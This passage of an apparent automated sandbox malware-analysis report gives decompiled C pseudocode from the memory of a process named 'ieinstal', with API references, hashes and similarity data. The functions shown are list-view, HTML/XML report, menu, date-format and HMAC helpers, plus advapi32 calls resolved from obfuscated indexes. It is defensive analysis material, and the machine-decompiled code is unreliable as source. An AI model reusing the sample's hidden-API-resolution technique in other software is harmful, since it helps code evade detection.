				E00404592(0x44e518, _t78);
				_t58 =  *((intOrPtr*)(_t87 + 0x14));
				_t79 =  *((intOrPtr*)(_t58 + 4));
				_t77 =  *_t58;
				_t93 = _t92 + 0x10;
				_v24 = _t79;
				_v16 = 0;
				if(_t79 <= 0) {
					L10:
					_t59 = 2;
					E00404523(_t59, _v8, 0, _t59);
					return SetFocus(_v8);
				} else {
					goto L3;
				}
				do {
					L3:
					_v12 = 0;
					_v20 = 0;
					do {
						_t89 = _v12 << 2;
						if( *((short*)(_t77 + _t89 + 2)) == _v16) {
							_v584 = 0;
							memset( &_v582, 0, 0x1fe);
							_t93 = _t93 + 0xc;
							_v60 =  &_v584;
							_v72 = 4;
							_v56 = 0xff;
							if(SendMessageW( *( *((intOrPtr*)(_a4 + 0x14)) + 8), 0x105f, _v12,  &_v72) != 0) {
								_push(0);
								_push(_v12);
								_push(0);
								_push(0);
								_push(0);
								_push(_v8);
								_t82 = 5;
								_t71 = E00404615( &_v584, _t82);
								_t90 = _t89 + _t77;
								_t83 =  *_t90;
								_v28 =  *_t90;
								E004049F2(_v8, _t71, 0 | _t83 > 0x00000000);
								_t93 = _t93 + 0x24;
								if(_v28 == 0) {
									 *_t90 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x18)) + _v20 + 0xc));
								}
							}
						}
						_v12 = _v12 + 1;
						_t63 = _v24;
						_v20 = _v20 + 0x14;
					} while (_v12 < _t63);
					_v16 = _v16 + 1;
				} while (_v16 < _t63);
				goto L10;
			}




























                                                                                                                            0x00405a1a
                                                                                                                            0x00405a25
                                                                                                                            0x00405a3b
                                                                                                                            0x00405a3e
                                                                                                                            0x00405a4b
                                                                                                                            0x00405a4d
                                                                                                                            0x00405a59
                                                                                                                            0x00405a5d
                                                                                                                            0x00405a62
                                                                                                                            0x00405a63
                                                                                                                            0x00405a64
                                                                                                                            0x00405a6e
                                                                                                                            0x00405a6f
                                                                                                                            0x00405a74
                                                                                                                            0x00405a77
                                                                                                                            0x00405a7a
                                                                                                                            0x00405a7c
                                                                                                                            0x00405a81
                                                                                                                            0x00405a84
                                                                                                                            0x00405a87
                                                                                                                            0x00405b63
                                                                                                                            0x00405b65
                                                                                                                            0x00405b6b
                                                                                                                            0x00405b80
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00405a8d
                                                                                                                            0x00405a8d
                                                                                                                            0x00405a8d
                                                                                                                            0x00405a90
                                                                                                                            0x00405a93
                                                                                                                            0x00405a96
                                                                                                                            0x00405aa1
                                                                                                                            0x00405ab4
                                                                                                                            0x00405abb
                                                                                                                            0x00405ac9
                                                                                                                            0x00405ad2
                                                                                                                            0x00405adc
                                                                                                                            0x00405ae9
                                                                                                                            0x00405af8
                                                                                                                            0x00405afa
                                                                                                                            0x00405afb
                                                                                                                            0x00405b04
                                                                                                                            0x00405b05
                                                                                                                            0x00405b06
                                                                                                                            0x00405b07
                                                                                                                            0x00405b0c
                                                                                                                            0x00405b0d
                                                                                                                            0x00405b12
                                                                                                                            0x00405b14
                                                                                                                            0x00405b1e
                                                                                                                            0x00405b26
                                                                                                                            0x00405b2b
                                                                                                                            0x00405b31
                                                                                                                            0x00405b41
                                                                                                                            0x00405b41
                                                                                                                            0x00405b31
                                                                                                                            0x00405af8
                                                                                                                            0x00405b44
                                                                                                                            0x00405b47
                                                                                                                            0x00405b4a
                                                                                                                            0x00405b4e
                                                                                                                            0x00405b57
                                                                                                                            0x00405b5a
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00405A25
                                                                                                                            • SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 00405A3E
                                                                                                                            • SendMessageW.USER32(?,00001036,00000000,00000026), ref: 00405A4B
                                                                                                                            • SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00405A57
                                                                                                                            • memset.MSVCRT ref: 00405ABB
                                                                                                                            • SendMessageW.USER32(?,0000105F,?,?), ref: 00405AF0
                                                                                                                            • SetFocus.USER32(?), ref: 00405B76
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: MessageSend$FocusItemmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4281309102-0
                                                                                                                            • Opcode ID: efd53bebf051b2277f9dab0bebba2bcddea9ab5f54e930dc2bb54400b8a4bf25
                                                                                                                            • Instruction ID: 6f3680249e95162a2c17081b35fa045d6cf646e1ea5253f38cdaf521fbeb1c86
                                                                                                                            • Opcode Fuzzy Hash: efd53bebf051b2277f9dab0bebba2bcddea9ab5f54e930dc2bb54400b8a4bf25
                                                                                                                            • Instruction Fuzzy Hash: 86414B75900219BBDB20DF95CC85EAFBFB8FF04754F10406AF508A6291D3759A90CFA4
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040FA33 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040FA33(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v68;
				char _v108;
				void _v160;
				void* __esi;
				signed int _t55;
				void* _t57;
				wchar_t* _t67;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t86;
				signed int _t95;
				intOrPtr* _t98;
				void* _t100;
				void* _t102;

				_t73 = __ebx;
				_t74 = 0xd;
				_push(9);
				memcpy( &_v160, 0x4534ac, _t74 << 2);
				memcpy( &_v68, 0x4534e0, 0 << 2);
				_t102 = _t100 + 0x18;
				asm("movsw");
				E0040F728(__ebx, _a4, "<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x28)) > 0) {
					do {
						_t55 =  *( *((intOrPtr*)(_t73 + 0x2c)) + _t95 * 4);
						_v8 = _t55;
						_t57 =  &_v160;
						if( *((intOrPtr*)(_t55 * 0x14 +  *((intOrPtr*)(_t73 + 0x3c)) + 8)) == 0) {
							_t57 =  &_v68;
						}
						_t98 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t57;
						 *((intOrPtr*)( *_t73 + 0x34))(5, _t95, _t98,  &_v28);
						E00414E4E(_v28,  &_v108);
						E00414E7F( *((intOrPtr*)( *_t98))(_v8,  *((intOrPtr*)(_t73 + 0x5c))),  *(_t73 + 0x60));
						 *((intOrPtr*)( *_t73 + 0x54))( *(_t73 + 0x60), _t98, _v8);
						_t67 =  *(_t73 + 0x60);
						_t86 =  *_t67 & 0x0000ffff;
						if(_t86 == 0 || _t86 == 0x20) {
							wcscat(_t67, "&nbsp;");
						}
						E00414F1E( &_v28,  *((intOrPtr*)(_t73 + 0x64)),  *(_t73 + 0x60));
						0x4465cc( *((intOrPtr*)(_t73 + 0x5c)), 0x2000, _v12,  &_v108,  *((intOrPtr*)(_t73 + 0x64)));
						_t102 = _t102 + 0x1c;
						E0040F728(_t73, _a4,  *((intOrPtr*)(_t73 + 0x5c)));
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t73 + 0x28)));
				}
				return E0040F728(_t73, _a4, 0x44e5fc);
			}























                                                                                                                            0x0040fa33
                                                                                                                            0x0040fa40
                                                                                                                            0x0040fa41
                                                                                                                            0x0040fa4e
                                                                                                                            0x0040fa59
                                                                                                                            0x0040fa59
                                                                                                                            0x0040fa65
                                                                                                                            0x0040fa67
                                                                                                                            0x0040fa6c
                                                                                                                            0x0040fa71
                                                                                                                            0x0040fa77
                                                                                                                            0x0040fa7a
                                                                                                                            0x0040fa80
                                                                                                                            0x0040fa8b
                                                                                                                            0x0040fa91
                                                                                                                            0x0040fa93
                                                                                                                            0x0040fa93
                                                                                                                            0x0040fa96
                                                                                                                            0x0040fa99
                                                                                                                            0x0040fa9d
                                                                                                                            0x0040faa1
                                                                                                                            0x0040faa5
                                                                                                                            0x0040faaf
                                                                                                                            0x0040fab8
                                                                                                                            0x0040fac2
                                                                                                                            0x0040fad8
                                                                                                                            0x0040fae8
                                                                                                                            0x0040faeb
                                                                                                                            0x0040faee
                                                                                                                            0x0040faf4
                                                                                                                            0x0040fb02
                                                                                                                            0x0040fb08
                                                                                                                            0x0040fb12
                                                                                                                            0x0040fb29
                                                                                                                            0x0040fb2e
                                                                                                                            0x0040fb39
                                                                                                                            0x0040fb3e
                                                                                                                            0x0040fb3f
                                                                                                                            0x0040fa77
                                                                                                                            0x0040fb5a

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _snwprintfwcscat
                                                                                                                            • String ID: &nbsp;$<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
                                                                                                                            • API String ID: 384018552-4153097237
                                                                                                                            • Opcode ID: e2d8d0cbab619b5be06ee0f81a04f929cebd05eebf119826ccd3725ad5dc4e14
                                                                                                                            • Instruction ID: 690b9c6e7bf42a1b777b65718bd5b5c6a61f2cd8039d9a9c88f4ff4500a270e2
                                                                                                                            • Opcode Fuzzy Hash: e2d8d0cbab619b5be06ee0f81a04f929cebd05eebf119826ccd3725ad5dc4e14
                                                                                                                            • Instruction Fuzzy Hash: D8319E31A00209AFDF14AF55CC86AAE7BB5FF45320F10007AE804AB292D775AE49DB94
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D7A7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 20%
                                                                                                                            			E0040D7A7(intOrPtr _a4, struct HMENU__* _a8, intOrPtr _a12, int _a16, intOrPtr _a20, wchar_t* _a36, intOrPtr _a40, long _a48, void _a50) {
				struct tagMENUITEMINFOW _v0;
				int _t23;
				wchar_t* _t29;
				intOrPtr _t30;
				int _t33;
				int _t41;
				signed int _t46;
				signed int _t47;

				_t47 = _t46 & 0xfffffff8;
				0x44db70();
				_t23 = GetMenuItemCount(_a8);
				_t33 = _t23;
				_t41 = 0;
				if(_t33 <= 0) {
					L13:
					return _t23;
				} else {
					goto L1;
				}
				do {
					L1:
					memset( &_a50, 0, 0x2000);
					_t47 = _t47 + 0xc;
					_a36 =  &_a48;
					_v0.cbSize = 0x30;
					_a4 = 0x36;
					_a40 = 0x1000;
					_a16 = 0;
					_a48 = 0;
					_t23 = GetMenuItemInfoW(_a8, _t41, 1,  &_v0);
					if(_t23 == 0) {
						goto L12;
					}
					if(_a48 == 0) {
						L10:
						if(_a20 != 0) {
							_push(0);
							_push(_a20);
							_push(_a4);
							_t23 = E0040D7A7();
							_t47 = _t47 + 0xc;
						}
						goto L12;
					}
					_t29 = wcschr( &_a48, 9);
					if(_t29 != 0) {
						 *_t29 = 0;
					}
					_t30 = _a16;
					if(_a20 != 0) {
						if(_a12 == 0) {
							 *0x45d6e8 =  *0x45d6e8 + 1;
							_t30 =  *0x45d6e8 + 0x11558;
						} else {
							_t17 = _t41 + 0x11171; // 0x11171
							_t30 = _t17;
						}
					}
					_t23 = E0040D76E(_t30,  &_a48);
					goto L10;
					L12:
					_t41 = _t41 + 1;
				} while (_t41 < _t33);
				goto L13;
			}











                                                                                                                            0x0040d7aa
                                                                                                                            0x0040d7b2
                                                                                                                            0x0040d7bd
                                                                                                                            0x0040d7c3
                                                                                                                            0x0040d7c7
                                                                                                                            0x0040d7cb
                                                                                                                            0x0040d891
                                                                                                                            0x0040d897
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040d7d1
                                                                                                                            0x0040d7d1
                                                                                                                            0x0040d7dc
                                                                                                                            0x0040d7e1
                                                                                                                            0x0040d7e8
                                                                                                                            0x0040d7f7
                                                                                                                            0x0040d7ff
                                                                                                                            0x0040d807
                                                                                                                            0x0040d80f
                                                                                                                            0x0040d813
                                                                                                                            0x0040d818
                                                                                                                            0x0040d820
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040d827
                                                                                                                            0x0040d872
                                                                                                                            0x0040d876
                                                                                                                            0x0040d878
                                                                                                                            0x0040d879
                                                                                                                            0x0040d87d
                                                                                                                            0x0040d880
                                                                                                                            0x0040d885
                                                                                                                            0x0040d885
                                                                                                                            0x00000000
                                                                                                                            0x0040d876
                                                                                                                            0x0040d830
                                                                                                                            0x0040d839
                                                                                                                            0x0040d83b
                                                                                                                            0x0040d83b
                                                                                                                            0x0040d842
                                                                                                                            0x0040d846
                                                                                                                            0x0040d84b
                                                                                                                            0x0040d855
                                                                                                                            0x0040d860
                                                                                                                            0x0040d84d
                                                                                                                            0x0040d84d
                                                                                                                            0x0040d84d
                                                                                                                            0x0040d84d
                                                                                                                            0x0040d84b
                                                                                                                            0x0040d86b
                                                                                                                            0x00000000
                                                                                                                            0x0040d888
                                                                                                                            0x0040d888
                                                                                                                            0x0040d889
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ItemMenu$CountInfomemsetwcschr
                                                                                                                            • String ID: 0$6
                                                                                                                            • API String ID: 2029023288-3849865405
                                                                                                                            • Opcode ID: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                                                                                                                            • Instruction ID: 35075b9e4b0179943f9cc9fcb0392e174ec026107191ec1d659f896637aaeb19
                                                                                                                            • Opcode Fuzzy Hash: 391c38dbba120c466a74104014748036d1901581f04e0d37adf97963ab497765
                                                                                                                            • Instruction Fuzzy Hash: A321AB32905300ABD720AF91DC8599FB7B8FB85754F000A3FF954A2280E779D944CB9A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040541F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 78COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040541F(void* __ecx, int __edi, void* __eflags, intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				int _v12;
				void _v271;
				void _v272;
				void _v527;
				void _v528;
				void _v783;
				char _v784;
				void* _t45;
				void* _t55;
				int _t56;
				int _t57;
				void* _t59;

				_t56 = __edi;
				_t55 = __ecx;
				_t57 = 0x14;
				_v12 = _t57;
				E004055A4(_a4);
				if(__edi < _t57) {
					_v12 = __edi;
				}
				_v528 = 0;
				memset( &_v527, 0, 0xff);
				_v272 = 0;
				memset( &_v271, 0, 0xff);
				_v784 = 0;
				memset( &_v783, 0, 0xff);
				memcpy( &_v528, _a8, _v12);
				memcpy( &_v272, _a8, _v12);
				_t45 = 0;
				if(_t56 > 0) {
					do {
						 *(_t59 + _t45 - 0x20c) =  *(_t59 + _t45 - 0x20c) ^ 0x0000005c;
						 *(_t59 + _t45 - 0x10c) =  *(_t59 + _t45 - 0x10c) ^ 0x00000036;
						_t45 = _t45 + 1;
						_t69 = _t45 - _t56;
					} while (_t45 < _t56);
				}
				E0040550F(_a4, _t55, _t69,  &_v272, _t56, _a12, _a16,  &_v784);
				return E0040550F(_a4, _t55, _t69,  &_v528, _t56,  &_v784, 0x14, _a20);
			}















                                                                                                                            0x0040541f
                                                                                                                            0x0040541f
                                                                                                                            0x0040542f
                                                                                                                            0x00405430
                                                                                                                            0x00405433
                                                                                                                            0x0040543a
                                                                                                                            0x0040543c
                                                                                                                            0x0040543c
                                                                                                                            0x0040544f
                                                                                                                            0x00405455
                                                                                                                            0x00405466
                                                                                                                            0x0040546c
                                                                                                                            0x0040547d
                                                                                                                            0x00405483
                                                                                                                            0x00405498
                                                                                                                            0x004054ad
                                                                                                                            0x004054b5
                                                                                                                            0x004054b9
                                                                                                                            0x004054bb
                                                                                                                            0x004054bb
                                                                                                                            0x004054c3
                                                                                                                            0x004054cb
                                                                                                                            0x004054cc
                                                                                                                            0x004054cc
                                                                                                                            0x004054bb
                                                                                                                            0x004054e8
                                                                                                                            0x0040550c

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004055A4: GetLastError.KERNEL32(?,00000000,00405522,?,?,?,00000000,00000000,?,00408E1C,?,?,00000060,00000000), ref: 004055B9
                                                                                                                            • memset.MSVCRT ref: 00405455
                                                                                                                            • memset.MSVCRT ref: 0040546C
                                                                                                                            • memset.MSVCRT ref: 00405483
                                                                                                                            • memcpy.MSVCRT ref: 00405498
                                                                                                                            • memcpy.MSVCRT ref: 004054AD
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$memcpy$ErrorLast
                                                                                                                            • String ID: 6$\
                                                                                                                            • API String ID: 404372293-1284684873
                                                                                                                            • Opcode ID: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                                                            • Instruction ID: af38dfd20ac5a94c77b7ead9800c7a3089711b207e9f3183cf3669ed78e53beb
                                                                                                                            • Opcode Fuzzy Hash: c52bb6eee22109a6197316720abdd8282c22b56b49716a990b3966b2803c4fd3
                                                                                                                            • Instruction Fuzzy Hash: 572141B280112CBBDF11AF99DC45EDF7BACDF15304F0080A6B509E2156E6398B988F65
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A06C Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040A06C(FILETIME* __eax, wchar_t* _a4) {
				struct _SYSTEMTIME _v24;
				long _v280;
				long _v536;
				FILETIME* _t15;

				_t15 = __eax;
				if(__eax->dwHighDateTime != 0 ||  *__eax != 0) {
					if(FileTimeToSystemTime(_t15,  &_v24) == 0 || _v24 <= 0x7c1) {
						goto L5;
					} else {
						GetDateFormatW(0x400, 1,  &_v24, 0,  &_v280, 0x80);
						GetTimeFormatW(0x400, 0,  &_v24, 0,  &_v536, 0x80);
						wcscpy(_a4,  &_v280);
						wcscat(_a4, 0x44e60c);
						wcscat(_a4,  &_v536);
					}
				} else {
					L5:
					wcscpy(_a4, 0x44e518);
				}
				return _a4;
			}







                                                                                                                            0x0040a06c
                                                                                                                            0x0040a07d
                                                                                                                            0x0040a090
                                                                                                                            0x00000000
                                                                                                                            0x0040a09a
                                                                                                                            0x0040a0b4
                                                                                                                            0x0040a0c9
                                                                                                                            0x0040a0d9
                                                                                                                            0x0040a0e6
                                                                                                                            0x0040a0f5
                                                                                                                            0x0040a0fa
                                                                                                                            0x0040a0ff
                                                                                                                            0x0040a0ff
                                                                                                                            0x0040a107
                                                                                                                            0x0040a10d
                                                                                                                            0x0040a115

                                                                                                                            APIs
                                                                                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A088
                                                                                                                            • GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 0040A0B4
                                                                                                                            • GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 0040A0C9
                                                                                                                            • wcscpy.MSVCRT ref: 0040A0D9
                                                                                                                            • wcscat.MSVCRT ref: 0040A0E6
                                                                                                                            • wcscat.MSVCRT ref: 0040A0F5
                                                                                                                            • wcscpy.MSVCRT ref: 0040A107
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Time$Formatwcscatwcscpy$DateFileSystem
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1331804452-0
                                                                                                                            • Opcode ID: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                            • Instruction ID: 70f18838178cd2dbc623065d80ced1a8b0c5b1489d8a310e1ceaee9f81d034e1
                                                                                                                            • Opcode Fuzzy Hash: f8aa036cb335485c7d93aed18039143b3373b2c7e44f2a4205c7e838cddf6ff7
                                                                                                                            • Instruction Fuzzy Hash: 321191B284011DBFEB10AF95DC45DEF777CEB01745F104076B904B6091E6399E858B7A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00404363 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 73%
                                                                                                                            			E00404363(intOrPtr* __eax, void* __eflags) {
				void* __ecx;
				void* __esi;
				struct HINSTANCE__* _t16;
				CHAR* _t18;
				CHAR* _t20;
				CHAR* _t22;
				CHAR* _t24;
				void* _t29;
				void* _t30;
				void* _t31;
				void* _t32;
				void* _t33;
				intOrPtr* _t36;

				_t36 = __eax;
				E0040440C(__eax);
				_t16 = E0040A804("advapi32.dll");
				_t38 = _t16;
				_pop(_t29);
				 *(_t36 + 0x14) = _t16;
				if(_t16 != 0) {
					_t18 = E0040B273(_t29, _t38, 0xca);
					_pop(_t30);
					 *((intOrPtr*)(_t36 + 8)) = GetProcAddress( *(_t36 + 0x14), _t18);
					_t20 = E0040B273(_t30, _t38, 0xc9);
					_pop(_t31);
					 *_t36 = GetProcAddress( *(_t36 + 0x14), _t20);
					_t22 = E0040B273(_t31, _t38, 0xcb);
					_pop(_t32);
					 *((intOrPtr*)(_t36 + 4)) = GetProcAddress( *(_t36 + 0x14), _t22);
					_t24 = E0040B273(_t32, _t38, 0xcc);
					_pop(_t33);
					 *((intOrPtr*)(_t36 + 0xc)) = GetProcAddress( *(_t36 + 0x14), _t24);
					 *((intOrPtr*)(_t36 + 0x10)) = GetProcAddress( *(_t36 + 0x14), E0040B273(_t33, _t38, 0xcd));
					if( *_t36 == 0 ||  *((intOrPtr*)(_t36 + 8)) == 0) {
						E0040440C(_t36);
					} else {
						 *((intOrPtr*)(_t36 + 0x18)) = 1;
					}
				}
				return  *((intOrPtr*)(_t36 + 0x18));
			}
















                                                                                                                            0x00404366
                                                                                                                            0x00404368
                                                                                                                            0x00404372
                                                                                                                            0x00404377
                                                                                                                            0x00404379
                                                                                                                            0x0040437a
                                                                                                                            0x0040437d
                                                                                                                            0x00404388
                                                                                                                            0x00404393
                                                                                                                            0x0040439f
                                                                                                                            0x004043a2
                                                                                                                            0x004043a7
                                                                                                                            0x004043b3
                                                                                                                            0x004043b5
                                                                                                                            0x004043ba
                                                                                                                            0x004043c6
                                                                                                                            0x004043c9
                                                                                                                            0x004043ce
                                                                                                                            0x004043da
                                                                                                                            0x004043ec
                                                                                                                            0x004043ef
                                                                                                                            0x00404400
                                                                                                                            0x004043f7
                                                                                                                            0x004043f7
                                                                                                                            0x004043f7
                                                                                                                            0x004043ef
                                                                                                                            0x0040440b

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040440C: FreeLibrary.KERNEL32(?,0040436D,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404414
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00404398
                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043AC
                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043BF
                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043D3
                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 004043E7
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                                                                                                                            • String ID: advapi32.dll
                                                                                                                            • API String ID: 2012295524-4050573280
                                                                                                                            • Opcode ID: 65f3d33700ac9d510cc5e5eb6f652d35bee5e6265e8d5a0c26d000a27f9b730c
                                                                                                                            • Instruction ID: 6b6c0a27b71384d3bff991c3c7ca7c9b0301c8735f49a3ee57333cb8f9a5f734
                                                                                                                            • Opcode Fuzzy Hash: 65f3d33700ac9d510cc5e5eb6f652d35bee5e6265e8d5a0c26d000a27f9b730c
                                                                                                                            • Instruction Fuzzy Hash: 5F119470440700DDE6307F62EC0AF2777A4DF80714F104A3FE541565E1DBB8A8519AAD
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410030 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 47%
                                                                                                                            			E00410030(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void* __esi;
				intOrPtr* _t16;
				void* _t19;
				intOrPtr* _t29;
				char* _t31;

				_t29 = __ecx;
				_v516 = 0;
				memset( &_v514, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t16 = _t29;
				if( *((intOrPtr*)(_t29 + 0x2bc)) == 0) {
					_push("<?xml version="1.0" encoding="ISO-8859-1" ?>");
				} else {
					_push("<?xml version="1.0" ?>");
				}
				E0040F728(_t16);
				_t19 =  *((intOrPtr*)( *_t29 + 0x24))(_a4);
				_t31 =  &_v516;
				E0040F5BE(_t31, _t19);
				0x4465cc( &_v1028, 0xff, "<%s>", _t31);
				return E0040F728(_t29, _a4,  &_v1028);
			}












                                                                                                                            0x0041004c
                                                                                                                            0x0041004e
                                                                                                                            0x00410055
                                                                                                                            0x00410063
                                                                                                                            0x0041006a
                                                                                                                            0x00410078
                                                                                                                            0x0041007a
                                                                                                                            0x00410083
                                                                                                                            0x0041007c
                                                                                                                            0x0041007c
                                                                                                                            0x0041007c
                                                                                                                            0x0041008b
                                                                                                                            0x00410094
                                                                                                                            0x00410098
                                                                                                                            0x0041009e
                                                                                                                            0x004100b7
                                                                                                                            0x004100d4

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • <%s>, xrefs: 004100A6
                                                                                                                            • <?xml version="1.0" ?>, xrefs: 0041007C
                                                                                                                            • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 00410083
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$_snwprintf
                                                                                                                            • String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                                                                                                                            • API String ID: 3473751417-2880344631
                                                                                                                            • Opcode ID: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                                                            • Instruction ID: 2862698e7f89dc449948c814091faf4507903f68b21858a7dbdf66e33a92e1a6
                                                                                                                            • Opcode Fuzzy Hash: 8f05c840c11c4290d444f2162549af975e664009f5abef6099482a1c5cfc950c
                                                                                                                            • Instruction Fuzzy Hash: F501C8F2E402197BD720AA559C41FEAB6ACEF48345F0040B7B608B3151D6389F494B99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A178 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040A178(wchar_t* __edi, intOrPtr _a4, signed int _a8) {
				void _v514;
				long _v516;
				wchar_t* _t34;
				signed int _t35;
				void* _t36;
				void* _t37;

				_t34 = __edi;
				_v516 = _v516 & 0x00000000;
